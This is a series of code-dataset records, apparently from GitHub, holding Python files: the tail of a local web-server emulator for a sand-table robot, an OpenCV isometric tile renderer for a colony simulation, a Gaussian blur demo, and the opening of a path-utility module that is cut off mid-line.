request.getHeader('content-type')\n    content = request.content.read().decode(\"utf-8\")\n    fileInfo = request.args\n    print(fileInfo)\n    fileContent=fileInfo[b'file'][0].decode('utf-8')\n    # fileContent = cgi.parse_multipart(content)\n    # fileInfo = cgi.FieldStorage(\n    #     fp = request.content,\n    #     headers = request.getAllHeaders(),\n    #     environ = {'REQUEST_METHOD': method, 'CONTENT_TYPE': content_type})\n    # name = \"./testfiles/\" + fileInfo[b'datafile'].filename\n    # print (f\"Received file {name} content {request.args[b'datafile'][0]}\")\n    # print (f\"Received file content {content}\")\n    filename = re.search(r'name=\"file\"; filename=\"(.*)\"', content).group(1)\n    with open(\"./testfiles/sd/\" + filename, 'w') as fileOutput:\n        # fileOutput.write(img['datafile'].value)\n        fileOutput.write(fileContent)\n    return succeed(None)\n\n\n\n    return json.dumps(stFileInfo)\n\n@route('/postsettings', methods=['POST'])\ndef postsettings(request):\n    global stSettings\n    postData = json.loads(request.content.read().decode('utf-8'))\n    print(postData)\n    stSettings = postData\n    return succeed(None)\n\n@route('/playFile/<string:argToExec>', branch=False)\ndef playFile(request, argToExec):\n    print(\"playFile \", argToExec)\n    return succeed(None)\n\n@route('/exec/<string:argToExec>', branch=False)\ndef execute(request, argToExec):\n    print(\"Execute \", argToExec)\n    return succeed(None)\n\n@route('/deleteFile/<string:argToExec>', branch=False)\ndef deleteFile(request, argToExec):\n    print(\"deleteFile \", argToExec)\n    return succeed(None)\n\n@route('/', branch=False)\ndef staticRoot(request):\n    fileName = os.path.abspath(os.getcwd() + \"../../../WebUI/ComboUI/sandUI.html\")\n    print(fileName, os.path.exists(fileName))\n    with open(fileName, \"r\") as f:\n        return f.read()\n\n@route('/<string:pathfile>', branch=False)\ndef static(request, pathfile):\n    fileName = os.path.abspath(os.getcwd() + \"../../../WebUI/ComboUI/\" + pathfile)\n    print(fileName, os.path.exists(fileName))\n    with open(fileName, \"r\") as f:\n        return f.read()\n\nrun(\"localhost\", 9027)\n", "repo_name": "robdobsn/RBotFirmware", "sub_path": "Tests/EmulateWebServer/EmulateSandTable.py", "file_name": "EmulateSandTable.py", "file_ext": "py", "file_size_in_byte": 5134, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "81", "api": [{"api_name": "twisted.web.static.File", "line_number": 49, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 47, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 57, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 55, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 61, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 59, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 65, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 63, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 69, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 67, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 74, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 71, "usage_type": "call"}, {"api_name": "re.search", "line_number": 103, "usage_type": "call"}, {"api_name": "twisted.internet.defer.succeed", "line_number": 107, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 111, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 87, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 116, "usage_type": "call"}, {"api_name": "twisted.internet.defer.succeed", "line_number": 119, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 113, "usage_type": "call"}, {"api_name": "twisted.internet.defer.succeed", "line_number": 124, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 121, "usage_type": "call"}, {"api_name": "twisted.internet.defer.succeed", "line_number": 129, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 126, "usage_type": "call"}, {"api_name": "twisted.internet.defer.succeed", "line_number": 134, "usage_type": "call"}, {"api_name": "klein.route", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "klein.route", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path", "line_number": 145, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "klein.route", "line_number": 143, "usage_type": "call"}, {"api_name": "klein.run", "line_number": 150, "usage_type": "call"}]}
{"seq_id": "15214424200", "text": "\"\"\"Painter functions to draw 2D or isometric views of upper panel.\n\"\"\"\nfrom typing import Dict, List, Tuple, Union\nimport cv2\nimport numpy as np\nfrom math import sqrt\n\nfrom colony.configs.map_generator.ref import map_ref\nfrom colony.utils.color_helpers import shift_color\nfrom colony.utils.image_manager import ImageManager\nfrom colony.vis.colony_viewers_basic import ColonyView, STAGE_BACKGROUND\n\n\n# left blank spaces of upper and lower frame\nISO_UPPER: float = 0.05  # ratio to frame height\nISO_LOWER: float = 0.05\n\nISO_TILE_WIDTH_SCALAR: float = sqrt(3)\nISO_TILE_HEIGHT_SCALAR: float = 1.0\nISO_TILE_UPPER_THICKNESS_SCALAR: float = .5  # ratio to tile height\nISO_TILE_LOWER_THICKNESS_SCALAR: float = 2.\n\nISO_TILE_UPPER_LEFT_COLOR_SHIFT: Union[int, Tuple[int, ...]] = -40\nISO_TILE_UPPER_RIGHT_COLOR_SHIFT: Union[int, Tuple[int, ...]] = -20\n\nISO_TILE_GRID_LINE_THICKNESS: int = 4\nISO_TILE_OUTLINE_THICKNESS: int = 1\nISO_TILE_OUTLINE_COLOR: Tuple[float, ...] = (210,) * 3\nISO_TILE_LINE_COLOR: Tuple[float, ...] = (100, 100, 100)\n\nDEFAULT_TILE_SET: str = \"space\"\n\nDIRT_COLOR: Tuple[float, ...] = (83, 118, 155)  # BGR for sake of opencv\n\n\nclass ColonyViewIso(ColonyView):\n    def __init__(\n        self, width: int, height: int, frame_width: int, frame_height: int, bitmap\n    ):\n        assert (\n            width == height\n        ), f\"Isometric view supports only square playground, got {(width, height)}\"\n        super().__init__(width, height, frame_width, frame_height, bitmap)\n\n        # if colony shape is different from viewer shape, some spaces must be padded.\n        self.left_blank: int = 0  # blank space on leftside\n        self.top_blank: int = 0  # blank space on top\n\n        # multiplier used for mapping isometric tile sizes\n        self.multiplier_iso: float = 0\n\n        # isometric tile shape (lenght of diagnoals, not sides of these dimond-shaped objects)\n        self.tile_width: float = 0\n        self.tile_height: float = 0\n\n        # fake-3D gets a Z metric, some depth goes above a tile and the rest goes blow\n        self.tile_upper_depth: float = 0\n        self.tile_lower_depth: float = 0\n        # offsets from edges, will be calculated later\n        self.width_offset: float = 0\n        self.height_offset: float = 0\n\n        # figure out multiplier when projecting into isometric spaces\n        self._figure_out_multiplier()\n\n    def _figure_out_multiplier(self):\n        \"\"\"Here more than a simple multiplier was calculated. This is becasue the invovement of isometric mapping.\"\"\"\n        # this \"traditional\" multiplier set is used to scale UI stuffs, like it does in 2D version.\n        multiplier_x: float = self.frame_width / self.width\n        multiplier_y: float = self.frame_height / self.height\n        self.multiplier = min(multiplier_x, multiplier_y)\n\n        # this isotromic multiplier set is used to draw tiles\n        # calculate artificial Y blanks, which are some reserved spaces at top and bottom (for fake hight in the future)\n        deduced_y_space: float = self.frame_height * (ISO_UPPER + ISO_LOWER)\n        multiplier_x_iso: float = self.frame_width / (\n            self.width * ISO_TILE_WIDTH_SCALAR\n        )\n        multiplier_y_iso: float = (self.frame_height - deduced_y_space) / (\n            self.height * ISO_TILE_HEIGHT_SCALAR\n        )\n        self.multiplier_iso = min(multiplier_x_iso, multiplier_y_iso)\n\n        # calculate size of each tile. Not their sides but more like diagonals of the dimond shapes.\n        self.tile_width = self.multiplier_iso * ISO_TILE_WIDTH_SCALAR\n        self.tile_height = self.multiplier_iso * ISO_TILE_HEIGHT_SCALAR\n\n        # figure out blank paddings at top and left\n        self.left_blank = int((self.frame_width - self.tile_width * self.width) / 2)\n        self.top_blank = int((self.frame_height - self.tile_height * self.height) / 2)\n\n        # height offset is needed to \"shift\" pixles to right by half of playground width\n        # different maths requires x-shifting, but it's not the case here\n        self.width_offset = 0 + self.left_blank\n        self.height_offset = self.tile_height * self.height / 2 + self.top_blank\n\n        # figure out tile depth above and below surface\n        # simple case now, just cut them into halves\n        self.tile_upper_depth = self.tile_height * ISO_TILE_UPPER_THICKNESS_SCALAR\n        self.tile_lower_depth = self.tile_height * ISO_TILE_LOWER_THICKNESS_SCALAR\n\n    def _get_iso_coor(self, x: float, y: float):\n        \"\"\"Convert bitmap coordinates to isometric coordinates.\n        OpenCV draw lines by using integer indices (of course).\n\n        This projecting scheme makes dot (0, 0) or the upper left corner mapped to the very left spot.\n        \"\"\"\n        # this isometric mapping requires y-shifting\n        new_x: int = int(\n            (x * self.tile_width / 2) + (y * self.tile_width / 2) + self.width_offset\n        )\n        new_y: int = int(\n            (y * self.tile_height / 2) - (x * self.tile_height / 2) + self.height_offset\n        )\n        return (new_x, new_y)\n\n    def _get_iso_coor_set(\n            self,\n            x: float,\n            y: float,\n            size: Tuple[int, int] = (1, 1)\n        ) -> Tuple[Tuple[int, int], ...]:\n        \"\"\"Get projected four corners of a tile, that is,\n        (x, x), (x + 1, y), (x + 1, y + 1) and (x, y + 1) for size==(1, 1)\n        or in general (x, x), (x + x_extend, y), (x + x_extend, y + y_extend)\n        and (x, y + y_extend) for size==(x_extend, y_extend).\n        \"\"\"\n        x_extend, y_extend = size\n        ul: Tuple[int, int] = self._get_iso_coor(x, y)\n        ur: Tuple[int, int] = self._get_iso_coor(x + x_extend, y)\n        ll: Tuple[int, int] = self._get_iso_coor(x, y + y_extend)\n        lr: Tuple[int, int] = self._get_iso_coor(x + x_extend, y + y_extend)\n        return (ul, ur, ll, lr)\n\n    def _paint_grid_lines(self, frame: np.ndarray):\n        \"\"\"\n        Draw grid lines for debugging purposes.\n        \"\"\"\n        # add x grid lines to frame\n        # from (0, Y0) to (x, Y0) until (0, Yy) to (x, Yy)\n        for y in range(self.height + 1):\n            start_point = self._get_iso_coor(0, y)\n            end_point = self._get_iso_coor(self.width, y)\n            cv2.line(\n                frame,\n                start_point,\n                end_point,\n                color=ISO_TILE_LINE_COLOR,\n                thickness=ISO_TILE_GRID_LINE_THICKNESS,\n            )\n        # add y grid lines to frame\n        # from (X0, 0) to (X0, y) until (Xx, 0) to (Xx, y)\n        for x in range(self.width + 1):\n            start_point = self._get_iso_coor(x, 0)\n            end_point = self._get_iso_coor(x, self.height)\n            cv2.line(\n                frame,\n                start_point,\n                end_point,\n                color=ISO_TILE_LINE_COLOR,\n                thickness=ISO_TILE_GRID_LINE_THICKNESS,\n            )\n\n    def _paint_isometric_static_frame(self):\n        # create a blank background\n        frame = np.full(\n            (self.frame_height, self.frame_width, 3), STAGE_BACKGROUND, dtype=np.uint8\n        )\n        return frame\n\n    def get_static_frame(self):\n        \"\"\"Paint background and do essential calculations.\"\"\"\n        if self.static_frame is None:\n            self.static_frame = self._paint_isometric_static_frame()\n        return self.static_frame\n\n    def paint_playground(self):\n        \"\"\"Paint the playground.\"\"\"\n        if self.static_frame is None:\n            self.static_frame = self._paint_isometric_static_frame()\n\n        # the loop order need to be modifed\n        for y in range(len(self.bitmap)):\n            for x in range(len(self.bitmap[0]) - 1, 0 - 1, -1):\n                tile_painting_style: Union[str, Tuple[int, int, int]] = map_ref[self.bitmap[y][x]][-1]\n                if isinstance(tile_painting_style, tuple):  # it's a color, then draw tile using this color\n                    self.paint_large_pixel(self.static_frame, x, y, tile_painting_style, background=True)\n                # elif isinstance(tile_painting_style, str):  \n                # NOTE: there should be an offset to match tile offset when tile-drawing are not from images\n                #     pass  # to be implemented\n                else:\n                    raise ValueError(f\"Wrong type of drawing type: {type(tile_painting_style)}, \\\n                        check map_generator config file.\")\n\n    def paint_large_pixel_plane(self, frame: np.ndarray, x: int, y: int, color: Tuple):\n        \"\"\"Draw mega pixel without depth info, just overlay them on a plane\"\"\"\n        # the function adds blanks automatically\n        # four corners of each tile\n        ul, ur, ll, lr = self._get_iso_coor_set(x, y)\n        contours = np.array([ul, ll, lr, ur])\n        cv2.fillPoly(frame, pts=[contours], color=color)\n\n    @staticmethod\n    def draw_filled_polygon(\n        frame: np.ndarray,\n        contours: List[np.ndarray],\n        color: Tuple[int, ...],\n        outline_color: Tuple[int, ...] = None,\n        outline_thickness: int = ISO_TILE_OUTLINE_THICKNESS):\n        \"\"\"Draw a polygon with color, as well as outline if supplied.\n        Basically just combined two opencv functions.\"\"\"\n        cv2.fillPoly(frame, pts=[contours], color=color)\n        if outline_color is not None:\n            cv2.polylines(frame, pts=[contours], isClosed=True, color=outline_color, thickness=outline_thickness)\n\n    def paint_large_pixel(\n        self,\n        frame: np.ndarray,\n        x: int,\n        y: int,\n        color: Tuple[int, ...],\n        size: Tuple[int, int] = (1, 1),\n        background: bool = False,\n        outline: bool = True,\n    ):\n        \"\"\"Draw mega pixles with depth inofmration. There will be five regions for each tile now.\n        1. The surface of tile, which needs an Y offset to elevate from ground; we will use self.tile_upper_depth\n        2. Elevated left side of a tile;\n        3. Elevated right side of a tile;\n        4. Underground left side of a tile; (only displays when x==0)\n        5. Underground right side of a tile;  (only displays when y==Y)\n\n        Background tiles are painted a bit differently:\n        1. Depth are a bit shallower\n        2. Only show depth when x==0 and y==Y\n\n        Tile outline applies only to player/mimic/whatever-individual tiles, not backgrounds tiles.\n        Some lines are overlapping. So different sides will have different number of line drawing statements.\n        \"\"\"\n        outline_color = ISO_TILE_OUTLINE_COLOR if outline else None\n        upper_shifter: Tuple[int, int] = (0, int(self.tile_upper_depth))\n        half_upper_shifter: Tuple[int, int] = (0, int(self.tile_upper_depth / 2))\n\n        lower_shifter: Tuple[int, int] = (0, int(self.tile_lower_depth))\n        half_lower_shifter: Tuple[int, int] = (0, int(self.tile_lower_depth / 2))\n\n        if background:  # background has shallower depth (half of a tile)\n            upper_shifter = half_upper_shifter\n            half_upper_shifter = (0, 0)\n            lower_shifter = half_lower_shifter\n            half_lower_shifter = (0, 0)\n\n        # four original corners of each tile\n        ul, ur, ll, lr = self._get_iso_coor_set(x, y, size=size)\n\n        # draw surface of a tile      ??? why a positive number causing it shift below ???\n        contours: np.ndarray = np.array([ul, ll, lr, ur]) - upper_shifter\n        self.draw_filled_polygon(frame, contours, color, outline_color)\n\n        # draw elevated left side\n        if (not background) or (x == 0):\n            contours = np.array([ul, ll, ll, ul]) - [upper_shifter, upper_shifter, half_upper_shifter, half_upper_shifter]\n            self.draw_filled_polygon(\n                frame,\n                contours,\n                shift_color(color, ISO_TILE_UPPER_LEFT_COLOR_SHIFT),\n                outline_color,\n            )\n\n        # draw elevated right side\n        if (not background) or (y == self.height - 1):\n            contours = np.array([ll, lr, lr, ll]) - [upper_shifter, upper_shifter, half_upper_shifter, half_upper_shifter]\n            self.draw_filled_polygon(\n                frame,\n                contours,\n                shift_color(color, ISO_TILE_UPPER_RIGHT_COLOR_SHIFT),\n                outline_color,\n            )\n\n        # draw underground left side\n        if background and (x == 0):\n            contours = np.array([ul, ll, ll, ul]) + [lower_shifter, lower_shifter, half_lower_shifter, half_lower_shifter]\n            self.draw_filled_polygon(\n                frame,\n                contours,\n                shift_color(DIRT_COLOR, ISO_TILE_UPPER_LEFT_COLOR_SHIFT),\n                outline_color,\n            )\n\n        # draw underground right side\n        if background and (y == self.height - 1):\n            contours = np.array([ll, lr, lr, ll]) + [lower_shifter, lower_shifter, half_lower_shifter, half_lower_shifter]\n            self.draw_filled_polygon(\n                frame,\n                contours,\n                shift_color(DIRT_COLOR, ISO_TILE_UPPER_RIGHT_COLOR_SHIFT),\n                outline_color,\n            )\n\n\nclass ColonyViewIsoImage(ColonyViewIso):\n    \"\"\"Extends the basic isometric viewer to support image overlaying.\n    \"\"\"\n    def __init__(self,\n        width: int,\n        height: int,\n        frame_width: int,\n        frame_height: int,\n        bitmap: np.ndarray,\n        image_manager: ImageManager = None,\n    ):\n        \"\"\"New attributes would be cached images or values will that will be repetitively calculated.\n        \"\"\"\n        super().__init__(width, height, frame_width, frame_height, bitmap)\n        if image_manager is None:\n            print(\"Image manager not parsed, using default.\")\n            self.imager: ImageManager = ImageManager(\n                set_name=DEFAULT_TILE_SET,\n                seed=720,\n            )\n        else:\n            self.imager = image_manager\n        # save current tile width and update when zoom level changes\n        self.tile_width: int = self.get_tile_width()\n        self.imager.prepare_tileset(self.tile_width)\n\n        \n    def get_tile_width(self):\n        \"\"\"Get tile width in terms of pixel count on screen.\"\"\"\n        ul, ur, ll, lr = self._get_iso_coor_set(0, 0)\n        return abs(ul[0] - lr[0])\n\n\n    @staticmethod\n    def _add_alpha_if_necessary(image: np.ndarray):\n        \"\"\"Add one alpha channel (value==255) if necessary.\"\"\"\n        if image.shape[-1] == 3:  # three-channel image\n            image = cv2.cvtColor(image, cv2.COLOR_RGB2RGBA)  # it's BGR but whatever\n        return image\n\n    def paint_floors(self, tiles: Union[np.ndarray, List[np.ndarray]]) -> np.ndarray:\n        \"\"\"Paint floors with a given tileset.\"\"\"\n        pass\n        # background: np.ndarray = self.static_frame.copy()\n        \n        # if isinstance(tiles, np.ndarray):\n        #     tiles = [tiles]\n        # indices: List[int] = self.rng.choice(len(tiles), self.bitmap.size)\n        # image_index: int = 0\n        \n        # for y in range(len(self.bitmap)):\n        #     for x in range(len(self.bitmap[0]) - 1, 0 - 1, -1):\n        #         tile_image: np.ndarray = tiles[indices[image_index]]\n        #         self.paint_image_as_large_pixel(background, x, y, tile_image)\n        #         image_index += 1\n                \n        # return background\n\n    def paint_image_as_large_pixel(\n        self,\n        frame: np.ndarray,\n        x: int,\n        y: int,\n        image: np.ndarray,\n    ):\n        \"\"\"Paint a mega pixel from an image array.\n        Caller need to accept a return value as the operation is not in-place.\n        NOTE: I may messed up with what is x and what is y. Consequently, statements work but\n        variables may not have correct names. lol.\n        \"\"\"\n        # four original corners of each tile\n        ul, ur, ll, lr = self._get_iso_coor_set(x, y)\n\n        # similar to half_upper_shifter in non-image mega pixel painting fucntion.\n        # the purpose for this shifter is that when mixing images and color tiles together,\n        # images will be shifted upward to compensate for tile thickness.\n        y_shifter: int = int(self.tile_upper_depth / 2)\n\n        width: int = abs(ul[0] - lr[0])\n        replace_y: int = ll[1] - y_shifter\n        replace_x: int = ul[0]\n\n        #overlay_image = self.imager.resize_image_by_width(image, width)\n        overlay_image = image\n        img_height, img_width, _ = overlay_image.shape\n\n        overlayed_part = frame[\n            replace_y - img_height: replace_y, replace_x: replace_x + img_width\n        ]\n        # crop overlapping part and fill with zero for addition operation\n        overlayed_part[np.where(overlay_image[:, :, 3] > 0)] = (0, 0, 0)\n        # add overlaying image (but without alpha) to zero filled regions\n        np.add(overlayed_part, overlay_image[:, :, :3], out=overlayed_part)\n\n        # put the changed part back\n        frame[\n            replace_y - img_height: replace_y, replace_x: replace_x + img_width\n        ] = overlayed_part\n        return frame\n", "repo_name": "mizaimao/ColonySim", "sub_path": "colony/vis/colony_viewers.py", "file_name": "colony_viewers.py", "file_ext": "py", "file_size_in_byte": 16946, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "math.sqrt", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 33, "usage_type": "name"}, {"api_name": "colony.vis.colony_viewers_basic.ColonyView", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 121, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 129, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 130, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 131, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 132, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 122, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 135, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 144, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 166, "usage_type": "call"}, {"api_name": "colony.vis.colony_viewers_basic.STAGE_BACKGROUND", "line_number": 167, "usage_type": "argument"}, {"api_name": "numpy.uint8", "line_number": 167, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 185, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 185, "usage_type": "name"}, {"api_name": "colony.configs.map_generator.ref.map_ref", "line_number": 185, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 195, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 195, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 200, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 205, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 206, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 206, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 207, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 208, "usage_type": "name"}, {"api_name": "cv2.fillPoly", "line_number": 212, "usage_type": "call"}, {"api_name": "cv2.polylines", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 218, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 221, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 222, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 241, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 242, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 244, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 245, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 257, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 262, "usage_type": "call"}, {"api_name": "colony.utils.color_helpers.shift_color", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 272, "usage_type": "call"}, {"api_name": "colony.utils.color_helpers.shift_color", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 282, "usage_type": "call"}, {"api_name": "colony.utils.color_helpers.shift_color", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 292, "usage_type": "call"}, {"api_name": "colony.utils.color_helpers.shift_color", "line_number": 296, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 309, "usage_type": "attribute"}, {"api_name": "colony.utils.image_manager.ImageManager", "line_number": 310, "usage_type": "name"}, {"api_name": "colony.utils.image_manager.ImageManager", "line_number": 317, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 335, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 338, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2RGBA", "line_number": 338, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 341, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 341, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 341, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 361, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 364, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 391, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 393, "usage_type": "call"}]}
{"seq_id": "291611546", "text": "import cv2\r\n\r\nsrc = cv2.imread('cat.bmp', cv2.IMREAD_GRAYSCALE)\r\n\r\n\r\n\r\nfor sigma in range(1, 6):\r\n    dst = cv2.GaussianBlur(src, (0, 0), sigma)\r\n    desc = 'sigma = {}'.format(sigma)\r\n    cv2.putText(dst, desc, (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 1.0, 0, 1, cv2.LINE_AA)\r\n    cv2.imshow('dst', dst)\r\n    cv2.waitKey()\r\n\r\ncv2.destroyAllWindows()", "repo_name": "limminhyuck/openCV", "sub_path": "openCV_05/4_gaussian2.py", "file_name": "4_gaussian2.py", "file_ext": "py", "file_size_in_byte": 345, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.imread", "line_number": 3, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 3, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.LINE_AA", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "635132787", "text": "#!/usr/bin/env python\n#cython: language_level=3\n\n# from __future__ import annotations, division, print_function\n\nimport os, platform\nimport ntpath as nt\nimport pathlib as pl\n\nfrom typing import Callable, Dict, Generator, Any, List, TypeVar, Union\nfrom .magicpath import MagicPath\nfrom .singletons import Path, PathFinderType, System, WinPath\n\nPathFinder: Any\nPathFinder: Any\nPathFinder = TypeVar(\"PathFinder\", bound=\"PathFinder\")\nPathFinder = TypeVar(\"PathFinder\", bound=\"PathFinder\")\n\nMemorizeBoolean = TypeVar(\"MemorizeBoolean\", bound=\"MemorizeBoolean\")\n\nclass MemorizeBoolean(object):\n\n    value: bool\n\n    def __init__(self, value: bool = False):\n\n        self.value = value\n\n    def __bool__(self):\n\n        return self.value\n\n    def __repr__(self):\n\n        return str(self.value)\n\n    def setval(self, value: bool) -> None:\n\n        self.value = value\n    \n\nclass PathFinder(PathFinderType):\n\n    \"\"\"\n    TODOS: fixed os.path if using winlook\n    \n    p: Any\n    p = os.path\n\n    if self.WINDOWS:\n\n        p = nt if os.path is not nt else p\n\n    else:\n\n        p = ps if os.path is not ps else p\n    \"\"\"\n\n    p: MagicPath\n\n    MAX_DEPTH: int\n    MAX_DEPTH = 0 #? Infinity\n\n    MAX_TIME_RECURSION: int\n    MAX_TIME_RECURSION = 1000\n\n    def __init__(self: PathFinder, *args: Any, **kwargs: Any):\n\n        self.__dict__.update(kwargs)\n        self.p = MagicPath()\n\n    #****************************************************************************************************************#\n    #*                                                                                                              *#\n    #* methods from MagicPath, Exclude Methods escape, unescape, shift                                              *#\n    #*                                                                                                              *#\n    #****************************************************************************************************************#\n\n    MP_WORKDIR: str\n    MP_WORKDIR = \"/\"\n\n    MP_WINROOT: str\n    MP_WINROOT = \"C:\\\\\\\\\"\n    \n    MP_WINFORCE: bool\n    MP_WINFORCE = True\n\n    MP_WINLOOK: bool\n    MP_WINLOOK = False\n\n    def winlook(self: PathFinder, currentdir: Union[str, Path] = \"/\", winroot: Union[str, Path] = \"C:\\\\\\\\\", force: bool = True) -> bool:\n\n        self.MP_WORKDIR = currentdir\n        self.MP_WINROOT = winroot\n        self.MP_WINFORCE = force\n        self.MP_WINLOOK = True\n\n        self.p.winlook(currentdir, winroot, force)\n\n    #* disable winlook\n    def reset_factory(self: PathFinder) -> bool:\n\n        self.MP_WORKDIR = \"/\"\n        self.MP_WINROOT = \"C:\\\\\\\\\"\n        self.MP_WINFORCE = True\n        self.MP_WINLOOK = False\n\n        self.p.WORKDIR = os.getcwd()\n        self.p.WINDOWS = os.path is nt or platform.system().lower().startswith(\"win\")\n    \n    def set_currentdir(self: PathFinder, src: Union[str, Path], force: bool = False) -> bool:\n\n        return self.p.set_currentdir(src, force)\n    \n    def set_win_rootdir(self: PathFinder, src: Union[str, Path], force: bool = False) -> bool:\n\n        return self.p.set_win_rootdir(src, force)\n    \n    def is_win(self: PathFinder) -> bool:\n\n        return self.p.is_win()\n    \n    def split(self: PathFinder, src: Union[str, Path], diff: bool = False) -> Generator[Any, None, None]:\n\n        yield from self.p.split(src, diff)\n    \n    def get_root(self: PathFinder, src: Union[str, Path]) -> Path:\n\n        return self.p.get_root(src)\n    \n    # def shift(self: PathFinder, src: Union[str, Path]) -> Path:\n\n    #     return self.p.shift(src)\n    \n    def is_root(self: PathFinder, src: Union[str, Path], diff: bool = False) -> bool:\n\n        return self.p.is_root(src, diff)\n    \n    def is_abspath(self: PathFinder, src: Union[str, Path]) -> bool:\n\n        return self.p.is_abspath(src)\n    \n    def is_diff(self: PathFinder, system: Union[str, System]) -> bool:\n\n        return self.p.is_diff(system)\n    \n    def abspath(self: PathFinder, src: Union[str, Path], diff: bool = False, winroot: Union[str, Path] = \"\\\\\") -> Path:\n\n        return self.p.abspath(src, diff, winroot)\n    \n    def join(self: PathFinder, *srcs: Union[str, Path], diff: bool = False, winroot: Union[str, Path] = \"\\\\\") -> Path:\n\n        return 